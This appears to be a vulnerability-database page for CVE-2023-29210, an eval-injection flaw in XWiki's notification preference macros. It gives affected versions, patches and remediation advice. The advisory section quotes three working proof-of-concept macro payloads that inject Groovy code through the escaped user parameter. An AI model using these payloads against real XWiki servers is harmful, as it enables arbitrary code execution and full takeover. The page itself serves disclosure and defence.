CVE-2023-29210 is a critical-severity (CVSS 9.9) CWE-95 vulnerability in org.xwiki.platform:xwiki-platform-notifications-ui. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for org.xwiki.platform:xwiki-platform-notifications-ui — see the affected versions and patch details below.
org.xwiki.platform:xwiki-platform-notifications-ui Eval Injection vulnerability
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2023-29210.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
org.xwiki.platform:xwiki-platform-notifications-ui☕org.xwiki.platform:xwiki-platform-notifications-ui☕org.xwiki.platform:xwiki-platform-notifications-uiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Any user with view rights on commonly accessible documents including the notification preferences macros can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the user parameter of the macro that provide the notification filters. These macros are used in the user profiles and thus installed by default in XWiki.
A proof of concept exploit is
{{notificationsFiltersPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit.txt~").withWriter { out -> out.println(~"created from filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}
{{notificationsAutoWatchPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit2.txt~").withWriter { out -> out.println(~"created from auto watch preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}
{{notificationsEmailPreferences target="user" user="~" /~}~} {{async async=~"true~" cached=~"false~" context=~"doc.reference~"~}~}{{groovy~}~}new File(~"/tmp/exploit3.txt~").withWriter { out -> out.println(~"created from email filter preferences!~"); }{{/groovy~}~}{{/async~}~}"/}}
If this creates files inside /tmp, the installation is vulnerable.
Patches
The vulnerability has been patched in XWiki 13.10.11, 14.4.7 and 14.10.
Workarounds
The issue can be fixed by patching the code in the affected macros that are contained in XWiki documents as shown in the patch for this issue.
References
- https://github.com/xwiki/xwiki-platform/commit/cebf9167e4fd64a8777781fc56461e9abbe0b32a
- https://jira.xwiki.org/browse/XWIKI-20259
For more information
If you have any questions or comments about this advisory:
- Open an issue in Jira XWiki.org
- Email us at Security Mailing List
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.xwiki.platform:xwiki-platform-notifications-ui | ≥ 13.2-rc-1&&< 13.10.11 | 13.10.11org.xwiki.platform:xwiki-platform-notifications-ui:13.10.11 |
| ☕Maven | org.xwiki.platform:xwiki-platform-notifications-ui | ≥ 14.0-rc-1&&< 14.4.7 | 14.4.7org.xwiki.platform:xwiki-platform-notifications-ui:14.4.7 |
| ☕Maven | org.xwiki.platform:xwiki-platform-notifications-ui | ≥ 14.5&&< 14.10 | 14.10org.xwiki.platform:xwiki-platform-notifications-ui:14.10 |
Affected Products
xwikixwikiResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.xwiki.platform:xwiki-platform-notifications-ui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.xwiki.platform:xwiki-platform-notifications-ui to 13.10.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-29210 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2023-29210 in your dependencies?
Find it across Maven, including transitive dependencies.